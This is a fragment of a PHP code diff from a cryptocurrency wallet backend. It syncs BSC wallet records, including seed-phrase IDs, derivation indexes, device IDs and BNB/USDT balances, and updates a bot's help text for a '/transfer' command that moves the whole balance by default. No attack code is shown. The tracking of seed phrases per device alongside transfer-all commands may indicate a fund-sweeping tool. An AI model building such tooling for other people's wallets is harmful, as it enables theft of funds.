$q->whereNull('source')->orWhere('source', '');
|
||||
});
|
||||
} else {
|
||||
$query->where('source', $ethRow->source);
|
||||
}
|
||||
$sibling = $query->first();
|
||||
if ($sibling === null && ! $hasFunds) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if ($sibling === null) {
|
||||
$sibling = new WalletAddress([
|
||||
'device_id' => $ethRow->device_id,
|
||||
'address' => $ethRow->address,
|
||||
'source' => $ethRow->source,
|
||||
'chain_type' => 'BSC',
|
||||
'mnemonic_id' => $ethRow->mnemonic_id,
|
||||
'derive_index' => $ethRow->derive_index,
|
||||
'monitor' => (int) $ethRow->monitor,
|
||||
]);
|
||||
}
|
||||
|
||||
$sibling->chain_type = 'BSC';
|
||||
$sibling->bnb = $coins['bnb'];
|
||||
$sibling->usdt = $coins['usdt'];
|
||||
if ($sibling->mnemonic_id === null && $ethRow->mnemonic_id !== null) {
|
||||
$sibling->mnemonic_id = $ethRow->mnemonic_id;
|
||||
$sibling->derive_index = $ethRow->derive_index;
|
||||
}
|
||||
$sibling->save();
|
||||
|
||||
return $sibling;
|
||||
}
|
||||
|
||||
public function refreshBtc(WalletAddress $address): bool
|
||||
{
|
||||
$addr = trim((string) $address->address);
|
||||
|
||||
@@ -35,7 +35,7 @@ class HelpCommand
|
||||
' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC',
|
||||
' 例: /transfer Txxx USDT 10',
|
||||
' 例: /transfer 0x… ETH',
|
||||
' 例: /transfer 0x… BNB',
|
||||
' 例: /transfer 0x… BNB (BSC 原生 BNB)',
|
||||
' 例: /transfer 1… BTC 0.01',
|
||||
]));
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user